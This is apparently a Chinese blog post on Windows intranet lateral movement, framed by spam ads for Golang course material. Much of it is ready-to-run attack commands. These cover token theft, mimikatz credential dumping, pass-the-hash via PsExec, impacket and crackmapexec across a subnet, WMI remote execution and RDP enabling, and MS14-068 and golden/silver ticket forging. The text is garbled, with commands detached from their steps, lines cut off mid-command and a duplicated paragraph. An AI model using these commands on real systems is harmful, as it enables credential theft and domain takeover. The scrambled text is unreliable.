内网渗透TIPS总结,2024年最新Golang开发实战

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注go)
img

正文

4、msf窃取token

横向渗透

一、PTH(pass the hash)

概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

1、pass the hash的原理

在Windows系统中,通常会使用NTLM身份认证

#AccessToken 的列举

incognito.exe list_tokens -u

#操作​​​​​​​

incognito.exe execute -c "完整的 Token 名" cmd.exe``incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe``use incognito #加载 incognito``list_tokens -u #列出 AccessToken``getuid #查看当前 token``impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即

ps #列出进程pid​​​​​​​

steal_token 1252 #从进程窃取 token``getsystem #提升至 system 权限``rev2self #返回到之前的 AccessToken 权限

NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成

hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash

攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)

2、适用范围

域环境/工作组环境

可以获取hash,但是条件是不允许爆破hash

内网中存在和当前机器相同的密码

3、关于微软补丁和禁用

在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号

仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

4、攻击

使用mimikatz

得到hash后

成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接

二、Psexec

1、概述

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主

机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

2、条件

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。

3、明文连接

4、hash连接

出现错误的情况可以使用impacket工具包下的psexec连接​​​​​​​

privilege::debug``sekurlsa::logonpasswords``mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt``privilege::debug``sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

#命令​​​​​​​

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd``PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

#参数​​​​​​​

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框``-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显``-u 域\用户名``-p 密码

#命令​​​​​​​

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

5、psexec注意事项

需要远程系统开启 admin$ 共享(默认是开启的)

因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会

产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

6、登陆域管理命令

impacket 下的 psexec

python3 psexec.py darkid/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

三、msf的smb连接

1、使用

2、crackmapexec

CrackMapExec 可以对 C 段中的主机进行批量 pth,

项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令

四、WMI横向

1、概述

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

2、条件

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显​​​​​​​

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123``use exploit/windows/smb/psexec``set SMBUser Administrator``set rhosts 192.168.0.141``set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4``run``crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4``对 192.168.9.0/24 C 段进行批量 pass the hash

3、wmi使用命令

通过wmi执行ipconfig命令

建立ipc连接,读取内容

4、wmiexec.py利用

在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令

【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写

wmiexec.py 明文获取 shell

5、powershell的wmi

Invoke-WmiCommand

Invoke-WMIMethod

6、wmic 的其他命令

使用 wmic 远程开启目标的 RDP​​​​​​​

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"​​​​​​​

net use \\192.168.0.123\ipc$ "123456" /user:administrator``type \\192.168.0.123\c$\ip.txt​​​​​​​

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami​​​​​​​

python3 wmiexec.py administrator:123456@192.168.0.123

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本

Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名

$User = “.\administrator”

# 指定目标系统的密码

$Password = ConvertTo-SecureString -String “123456” -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList U s e r , User, User,Password

# 指定要执行的命令和目标 IP

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123

# 将执行结果输出到屏幕上

$Remote.PayloadOutput

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

# 指定目标系统用户名

$User=“.\administrator”

# 指定目标系统密码

$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential 中

$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList U s e r , User, User,Password

# 在远程系统中运行 calc.exe 命令

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.0.123” -Credential $Cred

# 适于 Windows xp、server 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!=“”) CALL SetAllowT

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

远程重启

票据传递攻击(PTT)

一、域内常用的两种攻击方式:

1、黄金票据 Golden ticket

2、白银票据 Silver ticket

二、金票 Golden ticket

1、原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC

中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交

互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

2、特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

3、伪造凭据,提升域内普通用户的权限(MS14-068)

以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation,获取域信息

通过命令:nltest /dsgetdc:域名,获取DC主机名

上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz

利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就

说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID

使用 MS14-068 伪造票据

使用方法

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname

wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName=‘计算机名’ call SetAllowTSConnections 1

#或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt

#执行命令:​​​​​​​

ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址

再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限

添加域管账号密码

4、伪造金票

条件

使用一下命令导出用户 krbtgt 的 hash:

利用 mimikatz 生成金票生成.kirbi 文件并保存

5、金票的使用

登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。

ipc连接访问

三、银票 Silver ticket

1、原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进

行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对

方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
lient 带着 ST 和 Authenticator3 向 Server 上的某个服务进

行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对

方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-sA3myd4a-1713465922868)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 21
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值